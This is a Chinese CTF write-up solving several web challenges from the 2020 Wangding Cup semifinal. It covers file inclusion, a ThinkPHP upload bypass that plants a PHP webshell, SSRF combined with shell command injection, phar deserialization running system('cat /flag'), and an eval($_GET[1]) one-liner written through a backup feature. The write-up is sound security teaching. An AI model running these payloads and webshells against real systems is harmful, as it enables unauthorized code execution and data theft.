荣耀精神解读

2020第二届网鼎杯半决赛Web题目writeup

有幸参加了第二届网鼎杯的决赛和半决赛,被各路神仙锤爆。赛后对几道web题目进行了整理和复现,下面分享一下思路和方法,本人才疏学浅,如有错误,还请师傅们批评指正。

Day 1

0x01 AliceWebsite

应该是最简单的题了,一上来就被秒了,代码很简单。在index.php中有一个毫无过滤的本地文件包含,

//index.php

Wecome to Alice's Website!

$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');

if (file_exists($action)) {

include $action;

} else {

echo "File not found!";

}

?>

直接http://ip/action=../../../../../../flag 就可以。

0x02 faka

题目给了源码,看了是一个什么自动发卡平台,首页是下面这样

基于thinkphp写的,记得之前在先知上看过一篇分析的文章,漏洞点在application/admin/controller/Plugs.php

首先通过$this->request->file()来获取上传的文件信息,$this->request->file()是thinkphp实现的用来获取上传文件信息的函数,详细代码如下:

/**

* 获取上传的文件信息

* @access public

* @param string|array $name 名称

* @return null|array|\think\File

*/

public function file($name = '')

{

if (empty($this->file)) {

$this->file = isset($_FILES) ? $_FILES : [];

}

if (is_array($name)) {

return $this->file = array_merge($this->file, $name);

}

$files = $this->file;

if (!empty($files)) {

// 处理上传文件

$array = [];

foreach ($files as $key => $file) {

if (is_array($file['name'])) {

$item = [];

$keys = array_keys($file);

$count = count($file['name']);

for ($i = 0; $i < $count; $i++) {

if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {

continue;

}

$temp['key'] = $key;

foreach ($keys as $_key) {

$temp[$_key] = $file[$_key][$i];

}

$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);

}

$array[$key] = $item;

} else {

if ($file instanceof File) {

$array[$key] = $file;

} else {

if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {

continue;

}

$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);

}

}

}

if (strpos($name, '.')) {

list($name, $sub) = explode('.', $name);

}

if ('' === $name) {

// 获取全部文件

return $array;

} elseif (isset($sub) && isset($array[$name][$sub])) {

return $array[$name][$sub];

} elseif (isset($array[$name])) {

return $array[$name];

}

}

return;

}

然后通过pathinfo()获取上传文件的扩展名,如果扩展名为php或者不在允许上传的类型中的话,会返回文件上传类型受限;然后将POST传的md5值以十六位一组,进行切片,之后分别将这两组字符串作为路径和文件名,最后在加上之前得到的文件扩展名赋值给$filename;在上传文件之前还有一个Token验证,会判断POST传的token值是否为$filename拼接上session_id()的md5值,经过测试这里的session_id()返回的是空字符串,而且我们知道$filename,所以可以很容易的绕过这里的检测;然后看关键的部分,跟进move()函数,

/**

* 移动文件

* @access public

* @param string $path 保存路径

* @param string|bool $savename 保存的文件名 默认自动生成

* @param boolean $replace 同名文件是否覆盖

* @return false|File

*/

public function move($path, $savename = true, $replace = true)

{

// 文件上传失败,捕获错误代码

if (!empty($this->info['error'])) {

$this->error($this->info['error']);

return false;

}

// 检测合法性

if (!$this->isValid()) {

$this->error = 'upload illegal files';

return false;

}

// 验证上传

if (!$this->check()) {

return false;

}

$path = rtrim($path, DS) . DS;

// 文件保存命名规则

$saveName = $this->buildSaveName($savename);

$filename = $path . $saveName;

// 检测目录

if (false === $this->checkPath(dirname($filename))) {

return false;

}

// 不覆盖同名文件

if (!$replace && is_file($filename)) {

$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];

return false;

}

/* 移动文件 */

if ($this->isTest) {

rename($this->filename, $filename);

} elseif (!move_uploaded_file($this->filename, $filename)) {

$this->error = 'upload write error';

return false;

}

// 返回 File 对象实例

$file = new self($filename);

$file->setSaveName($saveName)->setUploadInfo($this->info);

return $file;

}

前面是对文件的一些检测,在$this->check()函数中会调用checkImg()函数来检查上传的文件是否真的为图片,

通过检测后会进入buildSaveName($savename),跟进

/**

* 获取保存文件名

* @access protected

* @param string|bool $savename 保存的文件名 默认自动生成

* @return string

*/

protected function buildSaveName($savename)

{

// 自动生成文件名

if (true === $savename) {

if ($this->rule instanceof \Closure) {

$savename = call_user_func_array($this->rule, [$this]);

} else {

switch ($this->rule) {

case 'date':

$savename = date('Ymd') . DS . md5(microtime(true));

break;

default:

if (in_array($this->rule, hash_algos())) {

$hash = $this->hash($this->rule);

$savename = substr($hash, 0, 2) . DS . substr($hash, 2);

} elseif (is_callable($this->rule)) {

$savename = call_user_func($this->rule);

} else {

$savename = date('Ymd') . DS . md5(microtime(true));

}

}

}

} elseif ('' === $savename || false === $savename) {

$savename = $this->getInfo('name');

}

if (!strpos($savename, '.')) {

$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);

}

return $savename;

}

这里的$savename是我们move()函数的第二个参数,就是前面的$md5[1],经过buildSaveName($savename)后会直接返回$md5[1],然后拼接在$path的后面做为文件名,后面直接调用move_uploaded_file()将文件移动到$path,在这个过程中$ma5[1]是可控的,所以我们可以直接上传php文件。首先生成带木马的图片,然后生成token值,

php > echo md5("aa");

4124bc0a9335c27f086f24ba207a4912

echo md5("4124bc0a9335c27f/086f24ba207a.php.png");

bf9b89e7c8f5f1159d8bd7aaaa9c795d

虽然显示文件上传失败,但实际是成功的

0x03 web_babyJS

题目关键的代码如下

//routes/index.js

var express = require('express');

var config = require('../config');

var url=require('url');

var child_process=require('child_process');

var fs=require('fs');

var request=require('request');

var router = express.Router();

var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {

res.json({});

});

router.get('/debug', function(req, res, next) {

console.log(req.ip);

if(blacklist.indexOf(req.ip)!=-1){

console.log('res');

var u=req.query.url.replace(/[\"\']/ig,'');

console.log(url.parse(u).href);

let log=`echo '${url.parse(u).href}'>>/tmp/log`;

console.log(log);

child_process.exec(log);

res.json({data:fs.readFileSync('/tmp/log').toString()});

}else{

res.json({});

}

});

router.post('/debug', function(req, res, next) {

console.log(req.body);

if(req.body.url !== undefined) {

var u = req.body.url;

var urlObject=url.parse(u);

if(blacklist.indexOf(urlObject.hostname) == -1){

var dest=urlObject.href;

request(dest,(err,result,body)=>{

res.json(body);

})

}

else{

res.json([]);

}

}

});

module.exports = router;

首先在GET方式的debug路由中,存在可控的命令执行,但是需要req.ip为黑名单的ip,那么就可以确定这是一道SSRF题目了,然后看POST方式debug路由,可知这道题目的解题方法应该是通过POST访问debug路由,传递url参数,使url参数经过url.parse()处理后对应的hostname不在黑名单中,然后调用request()去访问url.parse处理后的href,这里由于黑名单过滤不全,可以通过http://2130706433/、http://0177.0.0.01/等方式绕过;之后就是要闭合单引号,执行多条命令了,经过测试发现,在@符号之前输入%27,会经过url解码变成单引号,如下

var url=require('url');

var request=require('request');

var u = "http://aaa%27@:8000%27qq.com";

urlObject=url.parse(u);

console.log(urlObject);

/*

Url {

protocol: 'http:',

slashes: true,

auth: 'aaa\'',

host: ':8000',

port: '8000',

hostname: '',

hash: null,

search: null,

query: null,

pathname: '%27qq.com',

path: '%27qq.com',

href: 'http://aaa\'@:8000/%27qq.com' }

*/

之后就是执行命令了,但是没有回显,可以尝试将flag写入文件中,经过测试发现>、}和空格符等字符都会被编码,就不能利用cat和>来写入文件了,所以最后利用cp将flag复制到/tmp/log/中,然后直接就可以直接读FLAG了。

payload: http://2130706433/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23

Day2

0x01 game_exp

审计源码发现有下面两个反序列化利用点,

通过info.php,可以看到服务器段开启了soap扩展,可以进行SSRF,执行命令。然后寻找可以触发反序列化的点,在login/register.php中存在一个file_exists()函数,这个函数可以触发phar文件的反序列化,审计register.php

上传的图片限制死了类型只能为图片,但是文件名和路径是可控的,可以先上传phar文件,然后再注册一遍用户,对应的用户名为phar://加上之前注册的用户名,然后在file_exists()函数触发反序列化,首先生成phar文件,

class AnyClass{

function __construct()

{

$this -> output = 'system("cat /flag");';;

}

}

$object = new AnyClass();

$phar = new Phar('a.phar');

$phar -> startBuffering();

$phar -> setStub('GIF89a'.''); //设置stub,增加gif文件头

$phar ->addFromString('test.txt','test'); //添加要压缩的文件

$phar -> setMetadata($object); //将自定义meta-data存入manifest

$phar -> stopBuffering();

?>

修改后缀名后上传

然后继续注册一个phar://asdf的用户去触发反序列化

0x02 novel

打开靶机是下面这样的界面

可以上传和备份文件,然后审计源码,

//index.php

defined('DS') or define('DS', DIRECTORY_SEPARATOR);

define('APP_DIR', realpath('./'));

error_reporting(0);

function autoload_class($class){

foreach(array('class') as $dir){

$file = APP_DIR.DS.$dir.DS.$class.'.class.php';

//echo $file;

if(file_exists($file)){

//echo $file;

include_once $file;

}

}

}

function upload($config){

$upload_config['class']=$config['class'];

foreach(array('file','method') as $param){

$upload_config['data'][$param]=$config[$param];

}

// var_dump($upload_config);

return $upload_config;

}

function home($config){

$home_config['class']=$config['class'];

$home_config['data']['method']=$config['method'];

return $home_config;

}

function back($config){

$copy_config['class']=$config['class'];

$copy_config['data']['method']=$config['method'];

$copy_config['data']['filename']=$config['post']['filename'];

$copy_config['data']['dest']=$config['post']['dest'];

return $copy_config;

}

spl_autoload_register('autoload_class');

$request=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/';

$config['get']=$_GET;

$config['post']=$_POST;

$config['file']=$_FILES;

$parameters=explode('/',explode('?', $request)[0]);

$class=(isset($parameters[1]) && !empty($parameters[1]))?$parameters[1]:'home';

//echo $class;

$method=(isset($parameters[2]) && !empty($parameters[2]))?$parameters[2]:'index';

//echo $method;

$config['class']=$class;

$config['method']=$method;

if(!empty($class)){

if(in_array($class, array('upload','home','back'))){

$class_init_config=call_user_func($class, $config);

new $class_init_config['class']($class_init_config['data']);

}else{

header('Location: /');

}

}

index.php中实现了有一个类自动加载,可以以http://ip/class/method的形式去调用对应类的函数,然后在class文件夹中有三个文件,分别为home.class.php、 upload.class.php 、back.class.php,分别对应主页、上传和备份功能的实现,接下来审计这三个文件,首先看文件上传的实现,

文件被上传到profile目录,文件名可控,但是后缀限制死了只能用txt,然后看备份功能的实现,

//back.class.php

class back{

public $filename;

public $method;

public $dest;

function __construct($config){

$this->filename=$config['filename'];

$this->method=$config['method'];

$this->dest=$config['dest'];

if(in_array($this->method, array('backup'))){

$this->{$this->method}($this->filename, $this->dest);

}else{

header('Location: /');

}

}

public function backup($filename, $dest){

$filename='profile/'.$filename;

if(file_exists($filename)){

$content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);

$password=$this->random_code();

$r['path']=$this->_write($dest, $this->_create($password, $content));

$r['password']=$password;

echo json_encode($r);

}

}

/* 先验证保证为备份文件后,再保存为私藏文件 */

private function _write($dest, $content){

$f1=$dest;

$f2='private/'.$this->random_code(10).".php";

$stream_f1 = fopen($f1, 'w+');

fwrite($stream_f1, $content);

rewind($stream_f1);

$f1_read=fread($stream_f1, 3000);

preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);

if(!empty($matches[0])){

copy($f1,$f2);

fclose($stream_f1);

return $f2;

}else{

fwrite($stream_f1, '');

fclose($stream_f1);

return false;

}

}

private function _create($password, $content){

$_content='

return $_content;

}

private function random_code($length = 8,$chars = null){

if(empty($chars)){

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

}

$count = strlen($chars) - 1;

$code = '';

while( strlen($code) < $length){

$code .= substr($chars,rand(0,$count),1);

}

return $code;

}

}

阅读代码可以发现,程序首先将$filename拼接到profile/,然后检测文件是否存在,若存在,将文件内容读出来进行html编码,然后生成一个随机的字符串作为读取文件内容的密码,之后调用_create()函数,将密码和html编码后的文件内容,拼接到'

理清程序大体流程后,大致的攻击思路就是上传一个txt的文件,然后再通过back生成php文件,开始尝试使用"?>闭合前面,但是不能成功,htmlspecialchars()会将双引号和尖括号编码,之后采用复杂语法,{${phpinfo()}}进行rce。首先上传一个内容为{${eval($_GET[1])}}的txt,

之后调用back的backup()函数将一句话写进php文件,

然后访问

经过这次比赛后,感觉一些知识点的积累还是远远不够的,很多web题目都没有修复成功(太菜了),还有一道java题肝不动,上面的每道题应该都不止我分享的这种做法,欢迎师傅们评论分享其他骚的思路、修复的骚操作或者是那道java题的做法。另外有需要源码的同学可以联系我哈。